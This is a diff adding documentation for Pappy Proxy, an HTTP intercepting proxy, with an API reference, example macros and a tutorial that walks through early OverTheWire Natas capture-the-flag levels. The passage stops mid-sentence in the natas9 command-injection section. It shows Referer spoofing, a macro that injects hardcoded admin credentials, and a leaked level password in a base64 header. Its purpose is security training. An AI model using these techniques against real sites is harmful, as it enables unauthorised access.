++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| url | Yes | String | The URL of the request (ie 'https://www.google.com') | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| url\_params | Yes | RepeatableDict | The URL parameters of the request | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| verb | Yes | String | The verb used for the request (ie GET, POST, PATCH, HEAD, etc). Doesn't have to be a valid verb. | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ +| version | Yes | String | The version part of the status line (ie 'HTTP/1.1') | ++-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+ + +Request methods: + ++------------+-------------------------------------------------------------------------------------------------------------------------------+ +| Function | Description | ++============+===============================================================================================================================+ +| submit() | Submit the request through the proxy. Does not save the request to the data file | ++------------+-------------------------------------------------------------------------------------------------------------------------------+ +| save() | Save the request, its unmangled version, its associated response, and the unmangled version of the response to the database | ++------------+-------------------------------------------------------------------------------------------------------------------------------+ + +And here is a quick (non-comprehensive) list of attributes that you can +use with ``Response`` objects: + ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Attribute | Settable? | Data Type | Description | ++==================+=============+==================+=================================================================================================================================================================================+ +| cookies | Yes | RepeatableDict | Cookies set by the response | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| headers | Yes | RepeatableDict | The headers of the response | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| response\_code | Yes | Integer | The response code of the response | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| response\_text | Yes | String | The text associated with the response code (ie OK, NOT FOUND) | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| rspid | Yes | Integer | The response id of the response. If this is the same as another response in the database, calling save() on the associated request will replace that response in the database | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| unmangled | Yes | Response | If the response was mangled, this will refer to the unmangled version of the response. Otherwise it is None | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| version | Yes | String | The version part of the status line of the response (ie 'HTTP/1.1') | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| raw\_headers | No | String | A text version of the headers of the response | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| status\_line | Yes | String | The status line of the response | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| raw\_data | Yes | String | The data portion of the response | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| full\_response | No | String | The full text version of the response including headers and data | ++------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ + +Like I said, these interfaces are prone to change and will probably +crash when you use them. If you get a traceback, send me an email so I +can fix it. + +Useful Functions +~~~~~~~~~~~~~~~~ + +There are also a few functions which could be useful for making +requests. + ++-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+ +| Function | Description | ++=======================================================+=============================================================================================================+ +| get\_request(url, url\_params={}) | Returns a Request object that contains a GET request to the given url with the given url params | ++-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+ +| post\_request(url, post\_params={}, url\_params={}) | Returns a Request object that contains a POST request to the given url with the given url and post params | ++-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+ + +Intercepting Macros +------------------- + +Intercepting macros let you mangle requests as they pass through the +proxy. Similarly to normal macros, an intercepting macro is any python +script with an "int" prefix. For example, ``int_name.py`` would be a +valid intercepting macro name. They are also loaded with the ``lma`` +command. An intercepting macro can define two functions: +``mangle_request`` or ``mangle_response``. Both requests only take a +``Request`` object as a parameter. ``mangle_request`` returns either a +new, modified Request object to change it, or it can return the original +object to not mangle it. The ``mange_response`` must return a +``Response`` (not request!) object. The request passed in to +``mangle_response`` will have an associated response with it. If you +want to modify the response, copy ``request.response``, make +modifications, then return it. If you would like to pass it through +untouched, just return ``request.response``. + +Note, that due to twisted funkyness, *you cannot save requests from +intercepting macros*. Technically you **can**, but to do that you'll +have to define ``async_mangle_request`` (or response) instead of +``mangle_request`` (or response) then use ``Request.async_deep_save`` +which returns a deferred, then return a deferred from +``async_mangle_requests`` (inline callbacks work too). If you've never +used twisted before, please don't try. Twisted is hard. + +Confusing? Here are some example intercepting macros: + +:: + + ## int_cloud2butt.py + + import string + + MACRO_NAME = 'Cloud to Butt' + + def mangle_response(request): + r = request.response.copy() + r.raw_data = string.replace(r.raw_data, 'cloud', 'butt') + r.raw_data = string.replace(r.raw_data, 'Cloud', 'Butt') + return r + +:: + + ## int_donothing.py + + import string + + MACRO_NAME = 'Do Nothing' + + def mangle_request(request): + return request + + def mangle_response(request): + return request.response + +:: + + ## int_adminplz.py + + from pappyproxy.http import ResponseCookie + from base64 import base64encode as b64e + import string + + MACRO_NAME = 'Admin Session' + + def mangle_request(request): + r = request.copy() + r.headers['Authorization'] = 'Basic %s' % b64e('Admin:Password123') + return r + +Enabling/Disabling Intercepting Macros +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can use the following commands to start/stop intercepting macros + ++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++========================+====================================+======================================================================================================================+ +| ``lma [dir]`` | ``load_macros``, ``lma`` | Load macros from a directory. If ``dir`` is not given, use the current directory (the project directory) | ++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+ +| ``rim `` | ``run_int_macro``, ``rim`` | Run an intercepting macro. Similarly to normal macros you can use the name, short name, or file name of the macro. | ++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+ +| ``sim `` | ``stop_int_macro``, ``sim`` | Stop an intercepting macro. | ++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+ +| ``lim`` | ``list_int_macros``, ``lim`` | List all enabled/disabled intercepting macros | ++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+ +| ``gima `` | ``generate_int_macro``, ``gima`` | Generate an intercepting macro with the given name. | ++------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+ + +Additional Commands +------------------- + +This is a list of other random stuff you can do that isn't categorized +under anything else. These are mostly commands that I found that I +needed while doing a test and just added. They likely don't do a ton of +error checking and are likely not super full-featured. + ++----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Aliases | Description | ++========================================+=====================+=======================================================================================================================================================+ +| ``dump_response [filename]`` | ``dump_response`` | Dumps the data from the response to the given filename (useful for images, .swf, etc). If no filename is given, it uses the name given in the path. | ++----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+ +| ``export `` | ``export`` | Writes either the full request or response to a file in the current directory. | ++----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+ + +Logging +------- + +You can watch in real-time what requests are going through the proxy. +Verbosisty defaults to 1 which just states when connections are +made/lost and some information on what is happening. If verbosity is set +to 3, it includes all the data which is sent through the proxy and +processed. It will print the raw response from the server, what it +decodes it to, etc. Even if you don't run this command, all the +information is stored in the dubug directory (the directory is cleared +every start though!) + ++-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ +| Command | Description | ++=======================+===============================================================================================================================================================================================================================+ +| ``log [verbosity]`` | View the log at the given verbosity. Default verbosity is 1 which just shows connections being made/lost and some other info, verbosity 3 shows full requests/responses as they pass through and are processed by the proxy | ++-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ diff --git a/docs/source/pappyproxy.rst b/docs/source/pappyproxy.rst new file mode 100644 index 0000000..8a166a4 --- /dev/null +++ b/docs/source/pappyproxy.rst @@ -0,0 +1,133 @@ +pappyproxy package +================== + +.. + Subpackages + ----------- + + .. toctree:: + + pappyproxy.schema + pappyproxy.templates + pappyproxy.tests + pappyproxy.vim_repeater + + Submodules + ---------- + +.. + pappyproxy.comm module + ---------------------- + + .. automodule:: pappyproxy.comm + :members: + :noindex: + :undoc-members: + :show-inheritance: + + pappyproxy.config module + ------------------------ + + .. automodule:: pappyproxy.config + :members: + :undoc-members: + :show-inheritance: + + pappyproxy.console module + ------------------------- + + .. automodule:: pappyproxy.console + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.context module +------------------------- + +.. automodule:: pappyproxy.context + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.http module +---------------------- + +.. automodule:: pappyproxy.http + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.iter module +---------------------- + +.. automodule:: pappyproxy.iter + :members: + :undoc-members: + :show-inheritance: + +.. + pappyproxy.macros module + ------------------------ + + .. automodule:: pappyproxy.macros + :members: + :undoc-members: + :show-inheritance: + + pappyproxy.mangle module + ------------------------ + + .. automodule:: pappyproxy.mangle + :members: + :undoc-members: + :show-inheritance: + + pappyproxy.pappy module + ----------------------- + + .. automodule:: pappyproxy.pappy + :members: + :undoc-members: + :show-inheritance: + + pappyproxy.proxy module + ----------------------- + + .. automodule:: pappyproxy.proxy + :members: + :undoc-members: + :show-inheritance: + + pappyproxy.repeater module + -------------------------- + + .. automodule:: pappyproxy.repeater + :members: + :undoc-members: + :show-inheritance: + + pappyproxy.session module + ------------------------- + + .. automodule:: pappyproxy.session + :members: + :undoc-members: + :show-inheritance: + + pappyproxy.util module + ---------------------- + + .. automodule:: pappyproxy.util + :members: + :undoc-members: + :show-inheritance: + + +.. + Module contents + --------------- + + .. automodule:: pappyproxy + :members: + :undoc-members: + :show-inheritance: diff --git a/docs/source/pappyproxy.schema.rst b/docs/source/pappyproxy.schema.rst new file mode 100644 index 0000000..771c9c9 --- /dev/null +++ b/docs/source/pappyproxy.schema.rst @@ -0,0 +1,46 @@ +pappyproxy.schema package +========================= + +Submodules +---------- + +pappyproxy.schema.schema_1 module +--------------------------------- + +.. automodule:: pappyproxy.schema.schema_1 + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.schema.schema_2 module +--------------------------------- + +.. automodule:: pappyproxy.schema.schema_2 + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.schema.schema_3 module +--------------------------------- + +.. automodule:: pappyproxy.schema.schema_3 + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.schema.update module +------------------------------- + +.. automodule:: pappyproxy.schema.update + :members: + :undoc-members: + :show-inheritance: + + +Module contents +--------------- + +.. automodule:: pappyproxy.schema + :members: + :undoc-members: + :show-inheritance: diff --git a/docs/source/pappyproxy.templates.rst b/docs/source/pappyproxy.templates.rst new file mode 100644 index 0000000..703b6eb --- /dev/null +++ b/docs/source/pappyproxy.templates.rst @@ -0,0 +1,30 @@ +pappyproxy.templates package +============================ + +Submodules +---------- + +pappyproxy.templates.intmacro module +------------------------------------ + +.. automodule:: pappyproxy.templates.intmacro + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.templates.macro module +--------------------------------- + +.. automodule:: pappyproxy.templates.macro + :members: + :undoc-members: + :show-inheritance: + + +Module contents +--------------- + +.. automodule:: pappyproxy.templates + :members: + :undoc-members: + :show-inheritance: diff --git a/docs/source/pappyproxy.tests.rst b/docs/source/pappyproxy.tests.rst new file mode 100644 index 0000000..9feaf3f --- /dev/null +++ b/docs/source/pappyproxy.tests.rst @@ -0,0 +1,62 @@ +pappyproxy.tests package +======================== + +Submodules +---------- + +pappyproxy.tests.test_context module +------------------------------------ + +.. automodule:: pappyproxy.tests.test_context + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.tests.test_http module +--------------------------------- + +.. automodule:: pappyproxy.tests.test_http + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.tests.test_mangle module +----------------------------------- + +.. automodule:: pappyproxy.tests.test_mangle + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.tests.test_proxy module +---------------------------------- + +.. automodule:: pappyproxy.tests.test_proxy + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.tests.test_session module +------------------------------------ + +.. automodule:: pappyproxy.tests.test_session + :members: + :undoc-members: + :show-inheritance: + +pappyproxy.tests.testutil module +-------------------------------- + +.. automodule:: pappyproxy.tests.testutil + :members: + :undoc-members: + :show-inheritance: + + +Module contents +--------------- + +.. automodule:: pappyproxy.tests + :members: + :undoc-members: + :show-inheritance: diff --git a/docs/source/pappyproxy.vim_repeater.rst b/docs/source/pappyproxy.vim_repeater.rst new file mode 100644 index 0000000..21ccfd9 --- /dev/null +++ b/docs/source/pappyproxy.vim_repeater.rst @@ -0,0 +1,22 @@ +pappyproxy.vim_repeater package +=============================== + +Submodules +---------- + +pappyproxy.vim_repeater.repeater module +--------------------------------------- + +.. automodule:: pappyproxy.vim_repeater.repeater + :members: + :undoc-members: + :show-inheritance: + + +Module contents +--------------- + +.. automodule:: pappyproxy.vim_repeater + :members: + :undoc-members: + :show-inheritance: diff --git a/docs/source/tutorial.rst b/docs/source/tutorial.rst new file mode 100644 index 0000000..9603afb --- /dev/null +++ b/docs/source/tutorial.rst @@ -0,0 +1,723 @@ +The Pappy Proxy Tutorial +************************ + +Table of Contents +================= + +.. toctree:: + + tutorial + +Getting Set Up +============== + +Introduction +------------ +This is a quick tutorial to get you started using Pappy like a pro. To do this, we'll be going through from `Natas `_. If you haven't done it yet and don't want it spoiled, I suggest giving it a try with Burp since we'll be telling you all the answers right off the bat. + +Getting Started +--------------- +The first thing you'll need to do is get Pappy installed. + +Install from pypi:: + + $ pip install pappy + +or install from source:: + + $ git clone --recursive https://github.com/roglew/pappy-proxy.git + $ cd pappy-proxy + $ pip install . + +.. note:: + + Pappy only supports OS X and Linux! Nothing will work on Windows, sorry! + + +That was easy! Make a project directory anywhere for Natas and fire up Pappy.:: + + $ mkdir natas + $ cd natas + Copying default config to ./config.json + Proxy is listening on port 8000 + itsPappyTime> + +If you look at what's in the file, you'll notice that there's a ``data.db`` file and a ``config.json`` file. + +* ``data.db`` is a SQLite file that stores all the (in-scope) requests that pass through the proxy +* ``config.json`` stores settings for the proxy + +You don't need to touch either of these right now. Just hop back into Pappy. + +Installing Pappy's CA Cert +-------------------------- +In order to intercept HTTPS requests, you'll need to add a CA cert to your browser. Installing the cert allows Pappy to act like a certificate authority and sign certificates for whatever it wants without your browser complaining. + +To generate certificates, you'll use the ``gencerts`` command. This will generate certificates in Pappy's directory. By default, all projects will use the certs in this directory, so you should only have to generate/install the certificates once.:: + + itsPappyTime> gencerts + This will overwrite any existing certs in /home/anonymouse/pappy/pappyproxy/certs. Are you sure? + (y/N) y + Generating certs to /home/anonymouse/pappy/pappyproxy/certs + Generating private key... Done! + Generating client cert... Done! + itsPappyTime> + +The directory that the certs get put in may be different for you. Next, you'll need to add the generated ``certificate.crt`` file to your browser. This is different for each browser. + +Installing the Cert in Firefox +++++++++++++++++++++++++++++++ +1. Open Firefox +2. Go to ``Preferences -> Advanced -> View Certificates -> Authorities`` +3. Click ``Import`` +4. Navigate to the directory where the certs were generated and double click ``certificate.crt`` + +Installing the Cert in Chrome ++++++++++++++++++++++++++++++ +1. Open Chrome +2. Go to ``Preferences -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities`` +3. Click ``Import`` +4. Navigate to the directory where the certs were generated and double click ``certificate.crt`` + +Installing the Cert in Safari ++++++++++++++++++++++++++++++ +1. Use Finder to navigate to the directory where the certs were generated +2. Double click the cert and follow the prompts to add it to your system keychain + +Installing the Cert in Internet Explorer +++++++++++++++++++++++++++++++++++++++++ +1. No. + +Configuring Your Browser +------------------------ +Next, you need to configure your browser to use the proxy. This is generally done using a browser extension. This tutorial won't cover how to configure these plugins. Pappy runs on localhost on port 8000. This can be changed in ``config.json``, but don't worry about that right now. + +.. note:: + Configure your browser extension to use the proxy server at **loalhost** on **port 8000** + +Here are some proxy plugins that should work + +* Firefox: `FoxyProxy `_ +* Chrome: `Proxy SwitchySharp `_ + +Testing it Out +-------------- +Start up Pappy in Lite mode by running ``pappy -l``, enable the proxy in your browser, then navigate to a website:: + + /pappynatas/ $ pappy -l + Temporary datafile is /tmp/tmp5AQBrH + Proxy is listening on port 8000 + itsPappyTime> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 8 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.21 -- + 7 GET vitaly.sexy /favicon.ico 404 Not Found 0 114 0.22 -- + 6 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 0.29 -- + 5 GET vitaly.sexy /netscape.gif 200 OK 0 1135 0.22 -- + 4 GET vitaly.sexy /construction.gif 200 OK 0 28366 0.26 -- + 3 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 1.34 -- + 2 GET vitaly.sexy / 200 OK 0 1201 0.21 -- + 1 GET vitaly.sexy / 301 Moved Permanently 0 178 0.27 -- + itsPappyTime> quit + Deleting temporary datafile + +Make sure that the request you made appears on the list. When you quit, the temporary data file will be deleted, so no cleanup will be required! + +The Tutorial +============ + +Setting the Scope +----------------- +The first thing we'll do is set up Pappy so that it only intercepts requests going to ``*.natas.labs.overthewire.org``:: + + itsPappyTime> filter host containsr "natas\.labs\.overthewire\.org$" + itsPappyTime> scope_save + +What these commands do: + +1. Make the current context only include requests whose host ends in ``natas.labs.overthewire.org``. +2. Save the current context as the scope + +The context is basically requests that pass a list of rules. In this case, we have one rule that says that in order for a request to be in the current context, it must pass the regexp ``natas\.labs\.overthewire\.org$``. When we save the scope, we're saying that any request that doesn't pass this regexp is out of scope and shouldn't be touched. + +If this doesn't make sense, don't worry, we'll come back to this. + +Natas 0 +------- +First, go to ``_ and log in with the default creds of ``natas0`` / ``natas0``. You should see a site that says "You can find the password for the next level on this page". You don't need Pappy for this one. + +1. Right click the page and select "view source" +2. Read the password for natas1 +3. Visit ``_ and log in with the username ``natas1`` and the password you found. + +Natas 1 +------- +Haha! This is the same as natas0, but they got tricky and shut off right-clicking. There's still ways to view the source in the browser, but we'll use Pappy here. The two commands we'll learn here are ``ls``, ``vfq``, and ``vfs``. + +* ``ls`` lists the most current requests that are in the current context. You'll be using this a lot to get the IDs of requests you want to do things with. +* ``vfq `` prints the full request of a request you specify +* ``vfs `` prints the full response to a request you specify + +So to solve natas1, we'll want to view the full response to our request to the page:: + + itsPappyTime> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 16 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 15 GET natas1.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 -- + 13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 -- + 12 GET natas0.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 11 GET natas0.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 -- + 10 GET natas.labs.overthewire.org /img/wechall.gif 200 OK 0 9279 0.28 -- + 9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 -- + 8 GET natas.labs.overthewire.org /js/wechall-data.js 200 OK 0 564 0.48 -- + 7 GET natas.labs.overthewire.org /js/jquery-ui.js 200 OK 0 435844 1.37 -- + 6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 -- + 4 GET natas.labs.overthewire.org /css/wechall.css 200 OK 0 677 0.48 -- + 5 GET natas.labs.overthewire.org /css/jquery-ui.css 200 OK 0 32046 0.49 -- + 3 GET natas.labs.overthewire.org /css/level.css 200 OK 0 1332 0.48 -- + 2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 -- + 1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 -- + itsPappyTime> vfs 14 + + HTTP/1.1 200 OK + Date: Fri, 18 Dec 2015 19:47:21 GMT + Server: Apache/2.4.7 (Ubuntu) + Last-Modified: Fri, 14 Nov 2014 10:32:33 GMT + ETag: "427-507cf258a5240-gzip" + Accept-Ranges: bytes + Vary: Accept-Encoding + Content-Length: 1063 + Keep-Alive: timeout=5, max=100 + Connection: Keep-Alive + Content-Type: text/html + + ... snip ... + + + + ... snip ... + + itsPappyTime> + +Yay! + +Natas 2 +------- +When you visit this page, you get a message saying "There is nothing on this page". That is probably a blatant lie. Let's see what was in that response.:: + + itsPappyTime> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 -- + 27 GET natas2.natas.labs.overthewire.org / 200 OK 0 872 0.27 -- + 26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 -- + ... snip ... + itsPappyTime> vfs 27 + + HTTP/1.1 200 OK + ... snip ... + +

natas2

+
+ There is nothing on this page + +
+ + + itsPappyTime> + +So the only suspicious thing is ````. I'll let you figure out the rest ;) + +Natas 3 +------- +This one doesn't require Pappy. Just view the ``robots.txt`` file. + +Finding Your Passwords Later (How to Use Filters) +------------------------------------------------- +This section will explain how to use Pappy's filters to find passwords to levels you've already completed. Every in-scope request and response that goes through Pappy is stored in the ``data.db`` file in your project directory. We can use filter commands to search through these requests to find resposes with passwords. + +Filters ++++++++ + +Here are the commands we'll learn: + +1. ``filter `` / ``f `` Add a filter that limits which requests are included in the current context +2. ``fu`` Remove the most recently applied filter +3. ``sr`` Reset the context so that it matches the scope +4. ``filter_clear`` Remove all filters from the context, including the filters applied by the scope +5. ``fls`` Show all currently applied filters + +The most complicated of these is the ``filter`` command since it takes a filter string as an argument. All a filter string is is a string that defines which requests will pass the filter. Anything that doesn't pass the filter will be removed from the context. Most filter strings are of the format `` ``. For example:: + + host is www.target.org + + field = "host" + comparer = "is" + value = "www.target.org" + +This filter will only match requests whose host is exactly ``www.target.org``. When defining our scope, we applied a filter using a ``containsr`` comparer. This matches any request where the field matches a regular expression. Here are a few fields and comparers: + +Commonly used fields + +* ``all`` The full text of the request and the response +* ``host`` The hostname of where the request is sent +* ``path`` The target path of the request. ie ``/path/to/page.php`` +* ``verb`` The HTTP verb. ie ``POST`` or ``GET`` (case sensitive!) +* ``body`` The data section (the body) of either the request or the response + +Commonly used comparers + +* ``is `` The field exactly matches the value +* ``contains `` / ``ct `` The field contains a value +* ``containsr `` / ``ctr `` The field matches a regexp. You may want to surround the regexp in quotes since a number of regexp characters are also control characters in the command line + +You can find the rest of the fields and comparers (including some more complex ones) in the actual documentation. + +Once you've applied some filters, ``ls`` will only show items that pass all the applied filters. If you want to return to viewing all in-scope items, use ``sr``. If you want to remove the last applied filter, use ``fu``. + +Finding Passwords ++++++++++++++++++ +While we can't find all the passwords with one filter, if we remember how we got the password, we can find it pretty quickly + +For natas0 and natas1, the responses had a phrase like "the password is abc123". So we can filter out anything that doesn't have the word "password" in it.:: + + itsPappyTime> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 52 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 -- + 51 GET natas4.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 50 GET natas4.natas.labs.overthewire.org / 200 OK 0 1019 0.27 -- + 49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 -- + 48 GET natas3.natas.labs.overthewire.org /s3cr3t/users.txt 200 OK 0 40 0.27 -- + 46 GET natas3.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.53 -- + 47 GET natas3.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.53 -- + 45 GET natas3.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.53 -- + 44 GET natas3.natas.labs.overthewire.org /s3cr3t/ 200 OK 0 957 0.26 -- + 43 GET natas3.natas.labs.overthewire.org /s3cr3t 301 Moved Permanently 0 354 0.27 -- + 42 GET natas3.natas.labs.overthewire.org /robots.txt 200 OK 0 33 0.29 -- + 41 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.26 -- + 40 GET natas3.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.28 -- + 39 GET natas3.natas.labs.overthewire.org / 200 OK 0 923 0.26 -- + 38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 -- + 37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 -- + 36 GET natas2.natas.labs.overthewire.org /icons/text.gif 200 OK 0 229 0.47 -- + 35 GET natas2.natas.labs.overthewire.org /icons/image2.gif 200 OK 0 309 0.47 -- + 34 GET natas2.natas.labs.overthewire.org /icons/back.gif 200 OK 0 216 0.47 -- + 33 GET natas2.natas.labs.overthewire.org /icons/blank.gif 200 OK 0 148 0.47 -- + 32 GET natas2.natas.labs.overthewire.org /files/ 200 OK 0 1153 0.26 -- + 31 GET natas2.natas.labs.overthewire.org /files 301 Moved Permanently 0 353 0.27 -- + 30 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 29 GET natas2.natas.labs.overthewire.org /favicon.ico 404 Not Found 0 307 0.27 -- + 28 GET natas2.natas.labs.overthewire.org /files/pixel.png 200 OK 0 303 0.27 -- + itsPappyTime> f body ct password + itsPappyTime> ls + ID Verb Host Path S-Code Req Len Rsp Len Time Mngl + 49 GET natas4.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 -- + 38 GET natas3.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.28 -- + 37 GET natas2.natas.labs.overthewire.org /files/users.txt 200 OK 0 145 0.28 -- + 26 GET natas2.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 -- + 20 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.47 -- + 24 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 -- + 17 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.30 -- + 14 GET natas1.natas.labs.overthewire.org / 200 OK 0 1063 0.27 -- + 13 GET natas1.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.27 -- + 9 GET natas.labs.overthewire.org /js/wechall.js 200 OK 0 1074 0.50 -- + 6 GET natas.labs.overthewire.org /js/jquery-1.9.1.js 200 OK 0 268381 1.20 -- + 2 GET natas0.natas.labs.overthewire.org / 200 OK 0 918 0.26 -- + 1 GET natas0.natas.labs.overthewire.org / 401 Unauthorized 0 479 0.26 -- + itsPappyTime> + +It looks like requests 2 and 14 are the ones we're looking for (we know the password is on the page and those are the requests to / that have a 200 OK response). Use ``vfs`` to look at the response and you'll get the passwords again! It looks like we also found the password from natas2 (the request to /s3cr3t/users.txt). + +Anyways, back to Natas! + +Natas 4 +------- +When we visit this page, we get an error saying that they will only display the password if we visit from ``http://natas5.natas.labs.overthewire.org/``. How does a website track where you came from? The Referer header! Where's that defined? In a header! Do we control the headers? Yes! So all we have to do is set the Referer header to be the correct URL and we're golden. + +To do this, we'll be using Pappy's interceptor. The interceptor lets you stop a request from the browser, edit it, then send it to the server. These are the commands we're going to learn: + +* ``ic +`` Begin interception mode. Intercepts requests and/or responses as decided by the arguments given in the command. ``ic req`` will only intercept requests, ``ic rsp`` will only intercept responses, and ``ic req rsp`` will intercept both. + +In this case, we only want to intercept requests, so we'll run ``ic req``:: + + itsPappyTime> ic req + +And we'll get a screen that says something like:: + + Currently intercepting: Requests + 0 item(s) in queue. + Press 'n' to edit the next item or 'q' to quit interceptor. + +Now refresh the page in your browser. The page will hang like it's taking a long time to load. Go back to Pappy, and now the interceptor will say something like:: + + Currently intercepting: Requests + 1 item(s) in queue. + Press 'n' to edit the next item or 'q' to quit interceptor. + +Press ``n`` and the request will be opened for editing! Which editor is used is defined by the ``EDITOR`` environment variable. Use the text editor to add a ``Referer`` header (note that there's only one r):: + + GET / HTTP/1.1 + Host: natas4.natas.labs.overthewire.org + User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Cookie: __cfduid=db41e9d9b4a13cc3ef4273055b71996fb1450464664 + Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va + Connection: keep-alive + Cache-Control: max-age=0 + Referer: http://natas5.natas.labs.overthewire.org/ + +Save and quit, then press ``q`` to quit the interceptor. Go back to the browser and you should have the password for natas5! Yay! + +Now if you run ls, you'll notice that the request we made has a ``q`` in the ``Mngl`` column. This means that we mangled the request. If there's an ``s`` in that column, it means we mangled the response. If we ever want to refer to the unmangled version of the request, just prefix the id with a u. For example, you can get the unmangled version of request ``12`` by using the id ``u12``. + +Natas 5 +------- + +This one starts with a screen saying you're not logged in. This is fine. For this one, you'll need to use the interceptor to edit the value of a cookie. I'll let you figure that one out. + +Natas 6 +------- + +This one you should be able to get + +Natas 7 +------- + +You should get this one. Note the hint on the `overthewire website `_: All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5. + +Natas 8 +------- + +You should be able to get this one. If it sucks, google it. + +Natas 9 +------- + +For this one, when you view the source you'll notice they're taking value you entered and inserting it directly into a command line command to grep a file. What we want to do is insert our own arguments to the command. For this one, we will learn how to use the repeater. Here is the command we will learn: + +* ``rp `` Open the vim repeater with the given request +* ``f`` (In the repeater) forward the request + +.. note:: + Use 